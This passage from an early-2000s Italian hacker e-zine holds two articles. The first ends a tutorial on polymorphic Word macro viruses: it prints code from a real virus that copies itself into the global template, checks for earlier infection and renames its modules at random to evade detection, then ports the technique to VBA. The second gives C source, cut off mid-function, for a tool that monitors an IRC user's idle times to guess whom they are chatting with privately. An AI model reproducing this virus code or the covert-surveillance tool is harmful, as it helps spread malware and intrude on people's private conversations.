| MacroCopy CO$, "Global:" + Z$ |
| SetProfileString "Intl", "Info2", Z$ |
| ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = |
| Z$, .Add, .Context = 0 'Questo non lo so, ha qualcosa a che fare |
| con le barre dei pulsanti. Credo che ne inserisca una collegata alla |
| macro |
| End Sub |
| |
| Sub Run2 |
| X$ = Fun$(F$, G$, H$, J$) 'Idem come sopra |
| Y$ = Fun$(F$, G$, H$, J$) |
| |
| Z$ = X$ + Y$ |
| |
| R2$ = GetDocumentVar$("VirName") 'Idem come sopra |
| OC$ = FileName$() + ":" + R2$ |
| MacroCopy OC$, "Global:" + Z$ |
| SetProfileString "Intl", "Info1", Z$ |
| ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = |
| Z$, .Add, .Context = 0 |
| End Sub |
| |
| Function VInstalled 'Verifica se il |
| documento è già infettato |
| CC$ = GetProfileString$("Intl", "Info1") |
| VInstalled = 0 |
| If CountMacros(0) > 0 Then |
| For i = 1 To CountMacros(0) |
| If MacroName$(i, 0) = CC$ Then |
| VInstalled = 1 |
| End If |
| Next i |
| End If |
| End Function |
| |
| Function Fun$(F$, G$, H$, J$) 'Ecco il vero |
| motore del poliformismo |
| One = 1169 |
| Two = 9294 |
| Num = Int(Rnd() * (Two - One) + One) 'Genera in numero a caso |
| compreso tra 1169 e 9294 |
| A$ = Str$(Num) |
| A$ = LTrim$(A$) |
| |
| B$ = Mid$(A$, 1, 1) |
| C$ = Mid$(A$, 2, 1) |
| D$ = Mid$(A$, 3, 1) |
| E$ = Mid$(A$, 4, 1) |
| |
| If B$ = "1" Then F$ = "A" 'Crea il nome con cui |
| salvare la macro |
| If B$ = "2" Then F$ = "B" |
| If B$ = "3" Then F$ = "C" |
| If B$ = "4" Then F$ = "D" |
| If B$ = "5" Then F$ = "E" |
| If B$ = "6" Then F$ = "F" |
| If B$ = "7" Then F$ = "G" |
| If B$ = "8" Then F$ = "H" |
| If B$ = "9" Then F$ = "I" |
| If B$ = "0" Then F$ = "J" |
| |
| If C$ = "1" Then G$ = "H" |
| If C$ = "2" Then G$ = "I" |
| If C$ = "3" Then G$ = "J" |
| If C$ = "4" Then G$ = "K" |
| If C$ = "5" Then G$ = "L" |
| If C$ = "6" Then G$ = "M" |
| If C$ = "7" Then G$ = "N" |
| If C$ = "8" Then G$ = "O" |
| If C$ = "9" Then G$ = "P" |
| If C$ = "0" Then G$ = "Q" |
| |
| If D$ = "1" Then H$ = "A" |
| If D$ = "2" Then H$ = "B" |
| If D$ = "3" Then H$ = "C" |
| If D$ = "4" Then H$ = "D" |
| If D$ = "5" Then H$ = "E" |
| If D$ = "6" Then H$ = "F" |
| If D$ = "7" Then H$ = "G" |
| If D$ = "8" Then H$ = "H" |
| If D$ = "9" Then H$ = "I" |
| If D$ = "0" Then H$ = "J" |
| |
| If E$ = "1" Then J$ = "R" |
| If E$ = "2" Then J$ = "S" |
| If E$ = "3" Then J$ = "T" |
| If E$ = "4" Then J$ = "U" |
| If E$ = "5" Then J$ = "V" |
| If E$ = "6" Then J$ = "W" |
| If E$ = "7" Then J$ = "X" |
| If E$ = "8" Then J$ = "Y" |
| If E$ = "9" Then J$ = "Z" |
| If E$ = "0" Then J$ = "Q" |
| |
| Fun$ = F$ + G$ + H$ + J$ 'Nome ottenuto |
| End Function |
| ----------------------------------------- |
| |
| Non fate caso ai comandi, sono per Wordbasic, in pratica il padre delle |
| macro odierne. |
| Quello che ci interessa è il sistema utilizzato: generando un numero |
| casuale da cui dipendono lettere casuali assegna alle macro un nome |
| diverso ad ogni infezione. |
| Ma come adattarlo al nostri tempi? Io l'ho vista così: |
| |
| ----------------------------------------- |
| Sub Poliformico() |
| Risultato = Fun(uno, due, tre, quattro) |
| 'Chiamo la function |
| Risulta = Fun(uno, due, tre, quattro) |
| 'Chiamo la function |
| Risultati = Risultato + Risulta |
| NormalTemplate.VBProject.VBComponents("Nome_del_modulo").Name = |
| Risultati 'Modifico il nome del modulo |
| End Sub |
| |
| Function Fun(uno, due, tre, quattro) |
| Primo = 1837 |
| Secondo = 9452 |
| Numero = Int(Rnd() * (Secondo - Primo) + Primo) |
| 'Genero il numero casuale |
| |
| uno = Left(Numero, 1) |
| 'Prendo il primo numero a sinistra |
| due = Right(Numero, 1) |
| 'Prendo il primo numero a destra |
| tre = Mid(Numero, 2, 1) |
| 'Prendo il secondo numero da destra |
| quattro = Mid(Numero, 3, 1) 'Prendo |
| il terzo numero da destra |
| |
| If uno = "1" Then uno = "A" 'Ora |
| calcolo le quattro lettere |
| If uno = "2" Then uno = "W" |
| If uno = "3" Then uno = "Q" |
| If uno = "4" Then uno = "X" |
| If uno = "5" Then uno = "K" |
| If uno = "6" Then uno = "j" |
| If uno = "7" Then uno = "r" |
| If uno = "8" Then uno = "p" |
| If uno = "9" Then uno = "s" |
| If uno = "0" Then uno = "h" |
| |
| If due = "1" Then due = "T" |
| If due = "2" Then due = "Y" |
| If due = "3" Then due = "E" |
| If due = "4" Then due = "B" |
| If due = "5" Then due = "Z" |
| If due = "6" Then due = "w" |
| If due = "7" Then due = "i" |
| If due = "8" Then due = "o" |
| If due = "9" Then due = "u" |
| If due = "0" Then due = "n" |
| |
| If tre = "1" Then tre = "H" |
| If tre = "2" Then tre = "L" |
| If tre = "3" Then tre = "C" |
| If tre = "4" Then tre = "T" |
| If tre = "5" Then tre = "I" |
| If tre = "6" Then tre = "q" |
| If tre = "7" Then tre = "a" |
| If tre = "8" Then tre = "z" |
| If tre = "9" Then tre = "f" |
| If tre = "0" Then tre = "m" |
| |
| If quattro = "1" Then quattro = "F" |
| If quattro = "2" Then quattro = "R" |
| If quattro = "3" Then quattro = "M" |
| If quattro = "4" Then quattro = "B" |
| If quattro = "5" Then quattro = "E" |
| If quattro = "6" Then quattro = "d" |
| If quattro = "7" Then quattro = "y" |
| If quattro = "8" Then quattro = "x" |
| If quattro = "9" Then quattro = "v" |
| If quattro = "0" Then quattro = "p" |
| |
| Fun = uno + due + tre + quattro 'Nome |
| ottenuto |
| End Function |
| ----------------------------------------- |
| |
| Ho mantenuto lo stesso principio utilizzato da Jocker. |
| Ovviamente ho tralasciato la parte in cui viene verificato se il |
| documento è già infetto e quella in cui viene infettato. |
| A questo punto abbiamo ottenuto una macro che modifica il nome del |
| modulo, non una macro poliformica. |
| Se ci fate caso, assemblando questo codice con le parti che ho omesso |
| otterremmo una mega-macro "cieca": non riuscendo ad identificare il |
| nome del modulo (è stato cambiato) crede che il documento non sia |
| ancora stato infettato, così si re-salva ancora e ancora e ancora.. |
| Le soluzioni sono 2: o memorizziamo il nuovo nome del modulo da qualche |
| parte, o troviamo un'altra strada. |
| La seconda. |
| Fino ad ora noi abbiamo verificato se il documento è stato |
| infettato "leggendo" i nomi dei moduli presenti, e se il nostro non |
| viene trovato facciamo sì che macro si salvi in quel documento. |
| Adesso invece potremmo fare un passo avanti: al posto di leggere il |
| nome del modulo ne leggiamo direttamente il codice. |
| |
| Lines(Riga di inizio, Riga finale) 'Legge la riga partendo da "Riga |
| di inizio" fino a "Riga finale" |
| |
| Quindi: |
| |
| ---------- |
| Nome = NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.Lines(1, 1) |
| If Nome <> "'Polymorph" Then |
| 'Infetta |
| End If |
| ---------- |
| |
| Questo codice va sostituito a quello che verifica il nome del modulo, |
| ovviamente in corrispondenza della linea 1 (in questo caso) dovrete |
| scrivere 'Polymorph. Vanno apportate alcune modifiche: |
| |
| ---------- |
| For i = 1 To NormalTemplate.VBProject.VBComponents.Count |
| Parola = NormalTemplate.VBProject.VBComponents(i).CodeModule.Lines(6, 1) |
| 'Cerchiamo la parola |
| If Parola = "'Polymorph!" Then |
| Risultato = 1 |
| 'Impostiamo un valore a caso |
| End If |
| Next |
| If Risultato <> 1 Then |
| 'Se il valore impostato prima è diverso |
| significa che nessun modulo è nostro, quindi.. |
| 'Infettiamo |
| End If |
| End Sub |
| ---------- |
| |
| Già che siamo in argomento vediamo anche DeleteLines e InsertLines: |
| |
| DeleteLines(Inizio, Fine) 'Cancella linee di codice |
| InsertLines(Posizione,Stringa) 'Inserisce linee di codice |
| |
| NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.InsertLines 6, "'Polymorph" |
| NormalTemplate.VBProject.VBComponents |
| ("Nome_del_modulo").CodeModule.DeleteLines 6, 1 |
| |
| Riassumendo, ora abbiamo ottenuto una macro che verifica se i vari |
| moduli contengono una parola in particolare e, se no, infetta il |
| documento. Il cambiamento del nome potete farlo anche dopo aver |
| importato il modulo nel documento da infettare, decidete voi. |
| Se volete che la macro sia ancora più simile a quella di Jocker, dovete |
| cambiarle anche i nomi usando DeleteLines e InsertLines, ricordando |
| però che AutoExec/AutoClose/... non vanno cambiati. |
| Per quando riguarda questa parte abbiamo finito, nella prossima vedremo |
| il poliformismo del codice. |
| |
| |
| Mastro(macro2000@viriglio.it) |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #09 - 01/06/2003 |
| QUERY GUESSiNG [eazy] 0x0D/0x20 |
+--------------------------------------------------------------------------+
| |
| |
| |
| Quello che segue non è un vero e proprio articolo bensì un abbozzo di |
| codice che descrive un'idea curiosa partorita dalla mia mente. |
| Lo scopo che mi sono posto è quello di scrivere un programmino che sia |
| in grado di prevedere con un certo margine di errore con chi è in query |
| un certo utente IRC. |
| |
| La cosa curiosa è che tale programma non opera nessun tipo di |
| dirottamento della sessione o sniffing del traffico bensì cerca di |
| attuare una semplice analisi statistica dei dati che il server IRC |
| stesso mette a disposizione. |
| Il tutto si basa, infatti, sull'analisi del valore dell'idle degli |
| utenti che viene campionato ed analizzato dal programma. |
| Non mi addentrerò nella spiegazione della tecnica adottata volutamente |
| per incentivare anche i più pigri di voi a leggersi qualche riga di |
| codice :P |
| |
| Il programma prende due argomenti dalla linea di comando: |
| |
| argv[1] l'indirizzo IP del server IRC; |
| argv[2] il nickname dell'utente che si desidera monitorare. |
| |
| Una volta connesso ad IRC il programma esegue un WHOIS sul nickname |
| specificato come argv[2] e parsa la reply per ricavarsi i canali nei |
| quali risiede l'utente. Una volta in possesso dei canali fa JOIN sugli |
| stessi. |
| |
| /* |
| * Build a list of the channel that the nickname supplied |
| * from the command line has joined |
| */ |
| if(list == NULL){ |
| while(!channel_sampler(buff, &list, argv[2])){ |
| strncpy(buff, "WHOIS ", sizeof(buff)); |
| strncat(buff, argv[2], sizeof(buff) - strlen(buff) - 1); |
| strncat(buff, "n", sizeof(buff) - strlen(buff) - 1); |
| writen(sock, buff, strlen(buff)); |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| } |
| . |
| . |
| . |
| . |
| } |
| |
| |
| Una volta generata la lista dei nickname presenti in ogni canale viene |
| settato un timer della durata di 30 secondi che, da adesso in poi, |
| regolerà la frequenza con la quale il programma effettuerà i |
| campionamenti relativi al valore dell'idle accumulato da ogni utente. |
| |
| /* |
| * Buid or update the list of the nick in the channel from |
| * the RPL_NAMREPLY message received from the server |
| */ |
| if(nick_list(buff, list)){ |
| if(first){ |
| |
| /* |
| * Set the first alarm() that elicit a SIGALRM signal |
| * handled by sig_handler() |
| */ |
| if(alarm(30) != 0) |
| printf("alarm was already setn"); |
| first = 0; |
| } |
| . |
| . |
| . |
| . |
| . |
| . |
| } |
| |
| |
| Il valore dell'idle per ogni utente viene memorizzato nella variabile |
| idle di tipo long all'interno della struct. Per ogni utente del canale |
| viene inoltre calcolata la somma del proprio idle più l'idle relativo al |
| nick monitorato. Nel qual caso tale valore dovesse risultare inferiore |
| a IDLE_THRESHOLD * 2 il valore di trust dell'utente verrà incrementato |
| in maniera inversamente proporzionale al valore ottenuto da tale somma. |
| In caso contrario il valore di trust dell'utente verrà azzerato. |
| |
| while(index_nick != NULL){ |
| add_idle = nickname_idle + index_nick->idle; |
| |
| /* |
| * If the sum of the idle of the nickname specified from the |
| * command line and the one retrived from the nick list is bigger |
| * than IDLE_THRESHOLD * 2, then the trust value of the retrived |
| * nick will be set to 0 |
| */ |
| if(add_idle > IDLE_THRESHOLD * 2){ |
| index_nick->trust = 0; |
| index_nick = index_nick->next; |
| continue; |
| } |
| |
| /* |
| * The trust for the nick in the channel will be increased |
| * proportionally to the value of the sum calcolated as described |
| * above |
| */ |
| else if(add_idle <= IDLE_THRESHOLD * 2 / 3) |
| index_nick->trust += 3; |
| else if(add_idle <= IDLE_THRESHOLD * 4 / 3) |
| index_nick->trust += 2; |
| else |
| index_nick->trust++; |
| index_nick = index_nick->next; |
| } |
| |
| |
| Il trust di un utente viene azzerato anche in presenza di un dialogo |
| dello stesso in uno dei canali monitorati. |
| |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL && |
| strcmp(token, index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * To reset the nickname we assign a trust value of -3 |
| * because in the next idle probe its value will be |
| * incremented and will reach the 0 |
| */ |
| if(index_nick != NULL) |
| index_nick->trust = -3; |
| index = index->next; |
| } |
| |
| |
| La funzione idle_check() controlla periodicamente i valori relativi al |
| trust di ogni utente e nel caso raggiungano la soglia prestabilita |
| avvisa riguardo la presenza di una possibile query tra l'utente e il |
| soggetto monitorato. |
| |
| while(index_nick != NULL){ |
| |
| /* |
| * If the trust value of a nickname in the channel has reached |
| * the value specified by the TRUST constant, prompt the user |
| * for possible query between this user and the one specified |
| * as argument of the command line |
| */ |
| if(index_nick->trust >= TRUST && |
| strcmp(nickname, index_nick->nickname) != 0) |
| printf("possibile query con %sn", index_nick->nickname); |
| index_nick = index_nick->next; |
| } |
| |
| |
| Come già detto in precedenza questo è solo un abbozzo del programma, |
| l'output fornito è molto grezzo, l'algoritmo alla base delle statistiche |
| è molto rudimentale ed è passibile di miglioramenti. |
| Inoltre, allo stato attuale delle cose rimangono dei problemi aperti, in |
| particolare il programma non è in grado di rilevare la presenza |
| dell'utente in canali +s, non è prevista la possibilità che la query |
| interessi due utenti che non abbiano almeno un canale in comune, infine |
| vengono osservati esclusivamente i canali dell'utente monitorato e non |
| quelli dei possibili interlocutori. |
| |
| L'indentazione del sorgente è molto contenuta al fine di rispettare |
| l'impaginazione imposta dalla zine, ad ogni modo tra gli allegati è |
| possibile trovare lo stesso sorgente indentato in maniera più leggibile, |
| i commenti nel codice non mancano, non mi resta che augurarvi una buona |
| lettura :) |
| |
| |
| |
| |
| /* |
| * Query Guessing |
| * by eazy, eazy@ondaquadra.org |
| * |
| * This program analize the idle of an IRC user and try to guess |
| * for possible query with other user. The query prediction isn't |
| * alway true, anyway try it and have fun :) |
| */ |
| |
| #include <sys/socket.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <netinet/in.h> |
| #include <stdlib.h> |
| #include <signal.h> |
| #include <sys/time.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| #define PORT 6667 |
| #define USER "USER prolipol 192.168.1.4 irc.azzurra.org :telnetn" |
| #define NICK "NICK prolipoln" |
| #define TIMEOUT 5 |
| #define IDLE_THRESHOLD 120 |
| #define TRUST 12 |
| #define N 10 |
| |
| typedef struct nick{ |
| char *nickname; |
| long idle; |
| int trust; |
| struct nick *next; |
| } nick; |
| |
| typedef struct chan{ |
| char *channel; |
| nick *lnick; |
| struct chan *next; |
| } chan; |
| |
| int sock_global, count = 0; |
| chan *list_global, *update_global = NULL; |
| char *nick_global; |
| |
| ssize_t writen(int fd, const void *buf, size_t count){ |
| |
| if(write(fd, buf, count) < 0){ |
| printf("write errorn"); |
| exit(0); |
| } |
| } |
| |
| /* |
| * Send a PONG message as reply to server PING |
| * |
| * From Request for Comments: 2812 |
| * |
| * The PING command is used to test the presence of an active client or |
| * server at the other end of the connection. Servers send a PING |
| * message at regular intervals if no other activity detected coming |
| * from a connection. If a connection fails to respond to a PING |
| * message within a set amount of time, that connection is closed. A |
| * PING message MAY be sent even if the connection is active. |
| * |
| * When a PING message is received, the appropriate PONG message MUST be |
| * sent as reply to <server1> (server which sent the PING message out) |
| * as soon as possible. If the <server2> parameter is specified, it |
| * represents the target of the ping, and the message gets forwarded |
| * there. |
| */ |
| |
| int ping_pong(int sock, char *buff){ |
| |
| char temp[5]; |
| char reply[100]; |
| |
| strncpy(temp, buff, sizeof(char) * 4); |
| temp[4] = 0; |
| if(strcmp(temp, "PING") == 0){ |
| strncpy(reply, "PONG", sizeof(reply)); |
| strncat(reply, buff + 4, sizeof(reply) - strlen(reply) - 1); |
| writen(sock, reply, strlen(reply)); |
| return(1); |
| } |
| return(0); |
| |
| } |
| |
| /* |
| * Buid a list of the nick in the channel from the |
| * RPL_NAMREPLY message received from the server |
| * |
| * From Request for Comments: 2812 |
| * |
| * 353 RPL_NAMREPLY |
| * "( "=" / "*" / "@" ) <channel> |
| * :[ "@" / "+" ] <nick> *( " " [ "@" / "+" ] <nick> ) |
| * |
| * - "@" is used for secret channels, "*" for private |
| * channels, and "=" for others (public channels). |
| * |
| * - To reply to a NAMES message, a reply pair consisting |
| * of RPL_NAMREPLY and RPL_ENDOFNAMES is sent by the |
| * server back to the client. If there is no channel |
| * found as in the query, then only RPL_ENDOFNAMES is |
| * returned. The exception to this is when a NAMES |
| * message is sent with no parameters and all visible |
| * channels and contents are sent back in a series of |
| * RPL_NAMEREPLY messages with a RPL_ENDOFNAMES to mark |
| * the end. |
| */ |
| |
| int nick_list(char *buff, chan *list){ |
| |
| int flag, first, exit = 0; |
| char *s, *temp, *token, *channel, *next; |
| char **p = &next; |
| chan *index; |
| nick *index_nick, *index_nick_old; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string to verify if it is a RPL_NAMREPLY |
| */ |
| if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ |
| if(strcmp(token, "353") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) |
| { |
| if(strcmp(token, "353") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_NAMREPLY, remove useless token |
| * from it |
| */ |
| if(flag == 1 && (char *)strtok(s, " ") != NULL){ |
| if((char *)strtok(NULL, " ") == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Save the channel name from the parsed string and search for it |
| * in the channel list already build by channel_sampler() |
| */ |
| if( (channel = (char *)strtok(NULL, " ")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index = list; |
| while(index != NULL && strcmp(channel, index->channel) != 0) |
| index = index->next; |
| if(index == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| first = 1; |
| index_nick_old = index->lnick; |
| |
| /* |
| * Build a list of nick in the channel. The while loop end when |
| * strtok() return NULL or at the first token that begin or end |
| * with a line feed or carriage return |
| */ |
| while(( (token = (char *)strtok(NULL, " ")) != NULL) && |
| (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ |
| if(first){ |
| index->lnick = (nick *)malloc(sizeof(nick)); |
| |
| /* |
| * Remove op and voice symbols from the nickname |
| */ |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| |
| /* |
| * If the token end with a line feed or carriage return remove |
| * the last character and break the while loop |
| */ |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index->lnick->nickname = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index->lnick->nickname, token); // use strncpy() instead |
| index->lnick->idle = 0; |
| index->lnick->trust = 0; |
| index->lnick->next = NULL; |
| index_nick = index->lnick; |
| first = 0; |
| } |
| else{ |
| index_nick->next = (nick *)malloc(sizeof(nick)); |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index_nick->next->nickname = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index_nick->next->nickname, token); // use strncpy() |
| index_nick->next->idle = 0; |
| index_nick->next->trust = 0; |
| index_nick->next->next = NULL; |
| index_nick = index_nick->next; |
| } |
| } |
| if(index->lnick != NULL){ |
| |
| /* |
| * Copy in the new nick list the values of idle and trust from |
| * the old one |
| */ |
| if(index_nick_old != NULL){ |
| while(index_nick_old != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| if(strcmp(index_nick_old->nickname, |
| index_nick->nickname) == 0){ |
| index_nick->idle = index_nick_old->idle; |
| index_nick->trust = index_nick_old->trust; |
| } |
| index_nick = index_nick->next; |
| } |
| index_nick_old = index_nick_old->next; |
| } |
| } |
| free(s); |
| free(temp); |
| return(1); |
| } |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Parse and sample the idle contained in the RPL_WHOISIDLE |
| * message received in responce of the WHOIS issued by |
| * idle_prober() function |
| * |
| * From Request for Comments: 2812 |
| * |
| * 317 RPL_WHOISIDLE |
| * "<nick> <integer> :seconds idle" |
| * |
| * - Replies 311 - 313, 317 - 319 are all replies |
| * generated in response to a WHOIS message. |
| */ |
| |
| int idle_sampler(char *buff, nick *list){ |
| |
| int flag; |
| char *s, *temp, *token, *nickname, *idle, *next; |
| char **p = &next; |
| nick *index; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string to verify if it is a valid |
| * RPL_WHOISIDLE message |
| */ |
| if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ |
| if(strcmp(token, "317") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) |
| { |
| if(strcmp(token, "317") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_WHOISIDLE message, remove |
| * useless token from it |
| */ |
| if(flag == 1 && (char *)strtok(s, " ") != NULL){ |
| |
| /* |
| * Save the nickname from the parsed string and search for it |
| * in the nick list already build by nick_list() |
| */ |
| if( (nickname = (char *)strtok(NULL, " ")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index = list; |
| while((index != NULL) && (strcmp(nickname, index->nickname) != 0)) |
| index = index->next; |
| if(index == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| else{ |
| |
| /* |
| * If the nickname contained in the RPL_WHOISIDLE is found in |
| * the nick list, the value of the idle is stored in the nick |
| * struct |
| */ |
| if( (idle = (char *)strtok(NULL, " ")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| index->idle = atol(idle); |
| } |
| free(s); |
| free(temp); |
| return(1); |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * Build a list of the channel that a specific nickname has joined. |
| * The list is derived from the RPL_WHOISCHANNELS message received |
| * from the server in response to a WHOIS message for that nickname |
| * |
| * From Request for Comments: 2812 |
| * |
| * 319 RPL_WHOISCHANNELS |
| * "<nick> :*( ( "@" / "+" ) <channel> " " )" |
| * |
| * - Replies 311 - 313, 317 - 319 are all replies |
| * generated in response to a WHOIS message. Given that |
| * there are enough parameters present, the answering |
| * server MUST either formulate a reply out of the above |
| * numerics (if the query nick is found) or return an |
| * error reply. The '*' in RPL_WHOISUSER is there as |
| * the literal character and not as a wild card. For |
| * each reply set, only RPL_WHOISCHANNELS may appear |
| * more than once (for long lists of channel names). |
| * The '@' and '+' characters next to the channel name |
| * indicate whether a client is a channel operator or |
| * has been granted permission to speak on a moderated |
| * channel. The RPL_ENDOFWHOIS reply is used to mark |
| * the end of processing a WHOIS message. |
| */ |
| |
| int channel_sampler(char *buff, chan **list, char *nick){ |
| |
| int flag, first = 1, exit = 0; |
| char *s, *temp, *token, *nickname, *next; |
| char **p = &next; |
| chan *index; |
| |
| flag = 0; |
| s = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| temp = (char *)calloc(strlen(buff) + 1, sizeof(char)); |
| strcpy(temp, buff); |
| |
| /* |
| * Parse the input string and verify if it is a valid |
| * RPL_WHOISCHANNELS message |
| */ |
| if( (token = (char *)strtok_r(temp, " ", p)) != NULL){ |
| if(strcmp(token, "319") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| while(flag == 0 && (token = (char *)strtok_r(NULL, " ", p)) != NULL) |
| { |
| if(strcmp(token, "319") == 0){ |
| strcpy(s, *p); |
| flag = 1; |
| } |
| } |
| } |
| |
| /* |
| * If the parsed string is a RPL_WHOISCHANNELS message, remove the |
| * useless token and save the nickname which the reply refer to. |
| * After that, compare the nickname saved from the string with the |
| * one supplied as argv of the main() |
| */ |
| if(flag == 1 && (char *)strtok(s, " ") != NULL){ |
| if( (nickname = (char *)strtok(NULL, " ")) == NULL){ |
| free(s); |
| free(temp); |
| return(0); |
| } |
| if(strcmp(nickname, nick) == 0){ |
| |
| /* |
| * Build a list of the channel that the supplied nickname has |
| * joined. If the strcmp() in the previous statment return 0, |
| * the while loop parse the RPL_WHOISCHANNELS message until |
| * strtok() return NULL or return a token that begin or end |
| * with a line feed or carriage return |
| */ |
| while(( (token = (char *)strtok(NULL, " ")) != NULL) && |
| (token[0] != 'n' && token[0] != 'r') && (exit == 0)){ |
| if(first){ |
| *list = (chan *)malloc(sizeof(chan)); |
| |
| /* |
| * Remove op and voice symbols from the nickname |
| */ |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| |
| /* |
| * If the token end with a line feed or carriage return remove |
| * the last character and break the while loop |
| */ |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| (*list)->channel = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy((*list)->channel, token); // use strncpy() instead |
| (*list)->lnick = NULL; |
| (*list)->next = NULL; |
| index = *list; |
| first = 0; |
| } |
| else{
|
| index->next = (chan *)malloc(sizeof(nick)); |
| if(token[0] == ':') |
| token++; |
| if(token[0] == '@' || token[0] == '+') |
| token++; |
| if(token[strlen(token)-1] == 'n' || |
| token[strlen(token)-1] == 'r'){ |
| token[strlen(token)-1] = 0; |
| exit = 1; |
| } |
| index->next->channel = (char *)calloc(strlen(token) + 1, |
| sizeof(char)); |
| strcpy(index->next->channel, token); // use strncpy() instead |
| index->next->lnick = NULL; |
| index->next->next = NULL; |
| index = index->next; |
| } |
| } |
| if(*list != NULL){ |
| free(s); |
| free(temp); |
| return(1); |
| } |
| } |
| } |
| free(s); |
| free(temp); |
| return(0); |
| } |
| |
| /* |
| * For every nick in all channel issue a WHOIS that elicit a |
| * RPL_WHOISIDLE message in response, the value of the idle |
| * contained in this message will be parsed and stored in the |
| * nick struct by the idle_sampler() function |
| */ |
| |
| void idle_prober(int sock, chan *list){ |
| |
| int r; |
| chan *index = list; |
| nick *index_nick; |
| char buff[1000], probe[256]; |
| fd_set readset; |
| struct timeval time; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| while(index_nick != NULL){ |
| FD_ZERO(&readset); |
| FD_SET(sock, &readset); |
| time.tv_sec = TIMEOUT; |
| time.tv_usec = 0; |
| |
| strncpy(probe, "WHOIS ", sizeof(probe)); |
| strncat(probe, index_nick->nickname, |
| sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, " ", sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, index_nick->nickname, |
| sizeof(probe) - strlen(probe) - 1); |
| strncat(probe, "n", sizeof(probe) - strlen(probe) - 1); |
| writen(sock, probe, strlen(probe)); |
| |
| /* |
| * Set a timeout on the I/O operation performed by read() |
| * It's possible to redefine TIMEOUT to modify the amount of |
| * time that select() must wait a response before return |
| */ |
| if(select(sock + 1, &readset, NULL, NULL, &time) > 0){ |
| if( (r = read(sock, buff, sizeof(buff) - 1)) < 0){ |
| printf("read errorn"); |
| exit(0); |
| } |
| buff[r] = 0; |
| } |
| else{ |
| buff[0] = 0; |
| printf("read timeoutn"); |
| } |
| |
| /* |
| * Parse and sample the idle contained in the RPL_WHOISIDLE |
| * message received in responce of the WHOIS issued above |
| */ |
| if(idle_sampler(buff, index->lnick)); |
| else (ping_pong(sock, buff)); |
| reset_trust(buff, list, nick_global); |
| index_nick = index_nick->next; |
| } |
| index = index->next; |
| } |
| } |
| |
| /* |
| * Calculate and update channel statistics based on the values |
| * sampled by idle_sampler() |
| */ |
| |
| void idle_stat(chan *list, char *nickname){ |
| |
| chan *index = list; |
| nick *index_nick; |
| long nickname_idle, add_idle; |
| |
| while(index != NULL){ |
| index_nick = index->lnick; |
| |
| /* |
| * Search in the nick list for the nickname supplied as argv |
| * of the main() |
| */ |
| while(index_nick != NULL && strcmp(nickname, |
| index_nick->nickname) != 0) |
| index_nick = index_nick->next; |
| |
| /* |
| * If the nickname supplied as argument in the command line is |
| * not found in the channel, set the idle for that nick to a |
| * dummy value. This cause the trust value of all the nick in |
| * the channel to be set to 0 |
| */ |
| if(index_nick == NULL) |
| nickname_idle = (IDLE_THRESHOLD * 2) + 1; |
| else{ |
| |
| /* |
| * Save the the idle of the nickname supplied as argument in |
| * the command line if its value is less than or equal to |
| * IDLE_THRESHOLD |
| */ |
